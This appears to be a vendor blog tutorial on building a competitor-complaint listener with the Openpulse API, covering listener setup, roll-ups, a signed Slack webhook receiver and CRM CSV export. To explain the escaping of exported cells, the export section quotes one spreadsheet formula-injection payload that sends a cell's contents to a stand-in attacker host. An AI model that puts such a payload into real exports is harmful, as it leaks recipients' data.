Someone who has just been let down by a vendor has the budget, the problem and the motive at once. They have already been through procurement. They have already lost the argument internally about whether this category is worth paying for. The only open question is who they buy from next, and that question has a shelf life measured in weeks.
That person is usually posting about it. Not on your website, and not in a review you will ever see in a dashboard you own, but in a Reddit comment under "what does everyone use for scheduling?", in a Hacker News thread about someone else's launch, in a one-star G2 review, in a YouTube comment under a tutorial for the product they are trying to escape.
This post is the end-to-end build: a rivals listener, the roll-up that turns a stream of complaints into a ranked list of accounts, and the webhook that puts the urgent ones in front of a human within minutes.
Why "monitor your competitor's name" is not enough
The obvious version of this is a keyword alert on your competitor's name. Every social listening tool will sell you that, and it fails for a specific reason worth understanding before you build anything.
A complaint shares no vocabulary with the product it is about.
"Waited forty minutes on hold, nobody ever picked up, and then they double booked us anyway."
That sentence is the single best lead a scheduling-software company could receive this month. It contains the word "scheduling" zero times. A keyword filter built from your own product vocabulary drops it before anything reads it. A keyword filter built from your competitor's name catches it only if the poster happened to name them in that sentence, which people usually do one comment earlier or one comment later.
So a listener that works on this has to carry two vocabularies at once: the names (and the aliases: people type "hubspot" and "HS", not the registered trademark) and the language of the complaint itself, independent of the product category.
That is what rivals mode is. It is not market mode with a filter. In market mode a competitor mention is filed behind a tab as junk, and that is correct there: you cannot express "a competitor mention is the signal" in a rubric whose entire premise is that it isn't. It needs its own label vocabulary, and it has one: switching, frustrated, comparing shown by default, with praise and noise filed behind tabs.
Step 1: the listener plans itself from your website
You do not type a competitor list. You paste your URL.
curl -X POST https://openpulse.cloud/v1/listeners/analyse-website \
-H "Authorization: Bearer $OPENPULSE_API_KEY" \
-H "Content-Type: application/json" \
-d '{ "website": "https://yourcompany.com", "objective": "find_dissatisfaction" }'Openpulse crawls the landing page plus a handful of product, pricing and about pages, and returns a plan (keywords, exclusions, per-source queries) plus a rivalProfile:
{
"rivals": [
{
"name": "HubSpot",
"aliases": ["hubspot", "HS"],
"website": "hubspot.com",
"provenance": "retrieved"
}
],
"painVocabulary": [
"on hold", "nobody answered", "double booked", "cancelled on us",
"support ticket ignored", "billed me anyway"
],
"rationale": "The incumbent everyone already pays, so most of the accumulated frustration is here."
}Two fields carry the whole feature.
aliases decide what gets attributed to whom. Attribution on the registered trademark alone loses most of the corpus, because nobody types the registered trademark.
painVocabulary is the on-topic gate, and it is deliberately the words of the complaint rather than the words of the product. This is the fix for the forty-minutes-on-hold problem above.
Everything in that response is shown for review in the wizard before it runs. Nothing is applied silently, because a keyword plan you did not read is a keyword plan you cannot debug three weeks later when the results look wrong.
Competitor names are retrieved, not remembered
This matters more than it sounds, so it is worth one paragraph.
The first version of this feature asked the model to name your competitors from its own knowledge, with a prompt saying "never invent a competitor you are not confident exists." That is a hope, not a mechanism. And a hallucinated rival fails in the worst way available: it sounds plausible, it never throws an error, it returns zero complaints forever, and in the roll-up it is indistinguishable from a real competitor that nobody happens to be complaining about this month. A silent wrong answer, discovered, if ever, weeks later.
So analyse-website searches before it generates. Four queries (X alternatives, X vs, X competitors, best alternatives to X) pull back the comparison listicles the market has already published about who you are measured against. They are SEO slop, and they are reliably full of real competitor names, which is exactly what is wanted here. The model's job changes from remembering to reading.
Every name that comes back is then checked against that retrieved text and stamped with its provenance:
provenance | Means | Shown in the UI as |
|---|---|---|
user | You typed it, so it is authoritative | yours |
retrieved | Found in published comparisons | (nothing, this is the normal case) |
model | Proposed, corroborated nowhere | unverified |
Unverified rivals are kept, not dropped (evidence is legitimately thin for a small or new company), but they are labelled, which is the point. The failure becomes visible at the moment you can act on it, rather than two weeks later as an empty row you assume means good news.
Grounding fixes aliases as a free side effect, too. The strings people actually type ("SFDC", "monday.com") appear in the retrieved text, so they are read off the page rather than guessed.
Step 2: read the comments, not just the posts
Here is the observation that decides the retrieval architecture:
The complaint is almost always a comment, not a post.
Nobody makes a top-level post titled "I am frustrated with Vendor X." They make a post titled "what does everyone use for X?", and then thirty people answer in the comments, and four of those answers are the leads.
So rivals mode sets includeComments, which turns on two things the other modes do not pay for:
- Reddit comment search:
filter=commentson the search the adapter already makes. One extra call per query, and it reaches the half of Reddit where people name a vendor and say what went wrong. - Thread and video expansion: a busy thread (8+ replies) or a YouTube video becomes a container, and a second call fetches what is inside it. Reddit threads, YouTube comment sections and Google Maps reviews all have this shape, so they share one
expand()stage rather than three bespoke pagination loops.
Expansion is capped at three containers per query. That cap is not conservatism: expansion is the one stage in the pipeline whose cost is multiplicative rather than additive, and an uncapped version is how you get a $400 run.
The sources for this mode, and how much of each post actually reaches the classifier:
| Source | Coverage | What that means |
|---|---|---|
| Reddit (posts + comments) | full text | The whole post, its author, its score and comment count |
| Hacker News | full text | Same |
| YouTube | full text (comments) | The comment body, via expansion |
| G2, Trustpilot | snippet → full where indexed | Review text where the page exposes it |
| X | snippet | Search-engine snippet |
That table is shown in the wizard, per source, before you commit. A source that cannot return post text leaves the classifier judging a 268-character search snippet, and that is the single biggest driver of bad labels in any product in this category. Most tools do not tell you which of their "15+ platforms" are in which column. This one does, and it downgrades the badge automatically when a vendor key is missing rather than quietly degrading.
Step 3: the roll-up, which is the actual deliverable
A stream of individual complaints is interesting. A ranked table of competitors with trend is a decision.
GET /v1/rivals?listenerId=lst_...&days=30Returns one row per competitor:
{
"items": [
{
"rivalKey": "hubspot",
"name": "HubSpot",
"count": 41,
"previousCount": 19,
"series": [ { "date": "2026-08-09", "count": 2 }, /* … per day … */ ],
"themes": [
{ "theme": "support response time", "count": 17 },
{ "theme": "surprise billing", "count": 11 },
{ "theme": "onboarding cost", "count": 8 }
],
"strongestQuote": "Three weeks into onboarding and we still can't…"
}
]
}previousCount is the field that makes this a product rather than a report. A competitor with 41 complaints is a fact about how big they are. A competitor whose complaint rate has doubled in thirty days is the one to aim your quarter at. Absolute volume tells you who is largest; the trend tells you who is bleeding.
Clicking a theme filters the signals underneath it, which is how "17 complaints about support response time" becomes the seventeen complaints, each with a link, a date and a quote you can put in the first line of an email.
Two implementation notes that matter if you are reasoning about freshness:
- It is aggregated on read, not stored. A listener is capped at eight rivals, which is small enough that recomputing on request beats keeping a second collection in sync, and a stale roll-up is worse than a slow one.
- The window is a parameter.
days=7during a competitor's outage week anddays=90for a board deck are the same endpoint.
Step 4: get the urgent ones out of the dashboard
A dashboard nobody opens is a dashboard. Two delivery paths matter here, and they answer different questions.
Urgency alerts, for the human
Set once, in workspace settings, by an admin:
Send urgency alerts [x]
Alert when a signal scores at least [ 85 ]
and its urgency is [x] immediate [x] high
Never send more than [ 5 ] a dayThat is deliberately not a rule builder. A query builder is the obvious "powerful" answer, it is a week of work, it needs its own UI language, and the honest observation is that people configure one threshold and then never open it again.
The daily cap is load-bearing. An alert that fires forty times in a morning gets muted by lunch, and a muted channel is worse than no channel, because everyone still believes alerting is on. When more signals qualify than the cap allows, the highest-scoring are sent: a workspace with one alert left should spend it on its best lead, not on whichever signal the classifier happened to return first.
Webhooks, for the machine
The run summary email answers what happened to a person, once. A webhook answers it to a machine, in a shape something else can act on, which is the difference between a signal being interesting and a signal becoming pipeline.
POST /v1/webhooks
Authorization: Bearer op_live_...
Content-Type: application/json
{
"url": "https://hooks.yourcompany.com/openpulse",
"events": ["signal.urgent", "signal.created"],
"description": "Rival complaints → #competitive-intel"
}signal.urgent is a strict superset of signal.created, and every urgent signal fires both. That is a deliberate design choice with three consequences: a subscriber that already parses signals needs no second parser; an endpoint that only wants the interruptions does not have to filter a firehose it never wanted; and the threshold travels in the body, so your downstream rules do not re-derive a decision the workspace has already made.
A minimal receiver that verifies the signature and posts to Slack:
import crypto from "node:crypto";
const FIVE_MINUTES = 5 * 60;
export async function POST(req) {
const raw = await req.text(); // the RAW body, pre-JSON.parse
const ts = req.headers.get("x-openpulse-timestamp");
const sig = req.headers.get("x-openpulse-signature");
// The signature covers "<timestamp>.<raw body>", not the body alone.
const expected = "sha256=" + crypto
.createHmac("sha256", process.env.OPENPULSE_WEBHOOK_SECRET)
.update(`${ts}.${raw}`)
.digest("hex");
const ok =
sig?.length === expected.length &&
crypto.timingSafeEqual(Buffer.from(sig), Buffer.from(expected)) &&
Math.abs(Date.now() / 1000 - Number(ts)) < FIVE_MINUTES;
if (!ok) return new Response("bad signature", { status: 401 });
const evt = JSON.parse(raw);
if (evt.event !== "signal.urgent") return new Response("ok");
await fetch(process.env.SLACK_WEBHOOK_URL, {
method: "POST",
body: JSON.stringify({
text: `*${evt.data.signal.title}*\n` +
`${evt.data.signal.rivalKey} · score ${evt.data.score} · ${evt.data.level}\n` +
`> ${evt.data.signal.excerpt}\n${evt.data.signal.url}`,
}),
});
return new Response("ok");
}Two details in there that are easy to get wrong:
Sign the timestamp, not just the body. Signing the body alone makes every delivery replayable forever: anyone who captures one valid request can resend it a thousand times and each copy verifies, because nothing in the signed material says when it was made. Reject anything older than five minutes.
Dedupe on x-openpulse-delivery, not on the signal id. That header is stable across retries and unique per event. Note that an urgent signal fires two events (signal.created and signal.urgent) carrying different ids for the same signal. That is intentional: one occurrence under two events is still two deliveries, and a shared id would make one of them look like a duplicate and get dropped.
Retries are three attempts, backing off 500ms then 2s, with an 8-second timeout each. A 429 or 5xx is retried; a 4xx is not: that is your server understanding us and saying no, and repeating it produces three identical failures while delaying the real answer. The delivery log keeps request and response bodies for seven days, which is what makes a failing endpoint debuggable instead of a black box.
Step 5: from signal to conversation
Two exits, and neither of them is a send button.
The outreach draft. Three channels (email, LinkedIn, forum reply) and three tones (direct, warm, consultative), written from what the person actually said. For a rivals signal the right channel is usually the forum reply, because the signal is a live public thread and the action is to be in it.
There is no send button and there will not be one. The product's claim is that it finds people worth talking to; it is not that it talks to them. The moment outreach can go out unread, signal quality stops mattering, because every reply is to something nobody checked. Copy is the only exit.
The prompt's constraints exist because the failure mode of a generated first message is not being wrong but being recognisably generated, which is worse than sending nothing, because it burns that contact permanently. So: no placeholders (a [Name] in a draft is a [Name] in a sent email), no invented facts about the recipient, no claimed case studies, and none of the openers that announce themselves.
The CSV, into your CRM.
GET /v1/exports/signals.csv?format=crm-hubspot&listenerId=lst_...&classification=switchingThe rule that makes an export trustworthy: an export endpoint takes the same query parameters as the list endpoint it mirrors, and builds its filter with the same functions. What downloads is what was on screen. It also means export cannot read further back than the dashboard, so there is no route around the read gate.
The crm-hubspot headers are HubSpot's own strings, not ours, because those are what its importer auto-matches. Every string in the file is user-generated content from a public forum, so cells beginning =, +, -, @, tab or carriage return are prefixed with an apostrophe: a Reddit title is an injection vector, and =HYPERLINK("https://evil.example/?"&A1,"Your invoice") exfiltrates the neighbouring cell on one click. The character is kept, not stripped: a phone number that silently loses its + is worse than a visible apostrophe.
What this does not do
Worth stating plainly, because the gap is structural rather than a roadmap item.
You will not get a verified work email for the person who complained. A Reddit or Hacker News username is pseudonymous by design. There is no legitimate route from u/throwaway_dentist to a verified corporate inbox, and anything claiming otherwise is inheriting the provenance of an identity graph you would not want to be audited on.
That is not a loss, because for this mode emailing was never the right play. The signal is a live public thread with a person in it who is currently annoyed. The action is to reply in the thread, helpfully, without pitching on the first message, and the draft for that is already written. Contact enrichment matters for places and job-posting signals, where the target is a business with a published phone number. Here it does not.
Volume is not the metric. A rivals listener on a mid-sized incumbent produces something like tens of qualified complaints a month, not thousands. If you are shopping for mention volume, this is the wrong tool and you should happily buy a cheaper one metered per mention.
What it costs to run
Every gate below runs before any model call, so filler is rejected for free: page shape, off-topic keyword match, exclusions, blocked domains, recency, and duplicate collapse on normalised URL and title. Then a reranker (Cohere Rerank, around $0.002 per call, and that is per call, not per document) scores what survives against the listener's intent, and only the top 25 candidates reach the classifier.
On a reference listener that took a run from 102 classification calls down to 37 while doubling the number of search results pulled.
Everything that got rejected is kept for 14 days with its reason: shape, off_topic, excluded, blocked, too_old, duplicate, reranked_out, low_score, noise, because without them, precision has no denominator and every tuning decision after the first is a guess.
Rivals mode is on the Pro plan ($499/mo, or $5,490/yr), which is also where the competitor intelligence watchlist, unlimited webhook endpoints and the CRM export formats live. Both plans open with a 14-day trial that takes a card up front.
The five-minute version
- Paste your URL. Review the rivals and the pain vocabulary it proposes; delete anything wrong and add the competitor it missed.
- Let it run for a week. Thumbs-down the first few bad labels: they are inlined into that listener's next classification prompts as calibration, and a query that produces candidates but no signals for three runs disables itself.
- Open the roll-up and sort by trend, not by count.
- Point
signal.urgentat a Slack channel with the threshold at 85 and the cap at 5. - Reply in threads. Do not send a sequence.
See it on your own market
Paste your website, review the plan it proposes, and read what comes back tomorrow morning.
Questions about anything here? Email support@openpulse.cloud.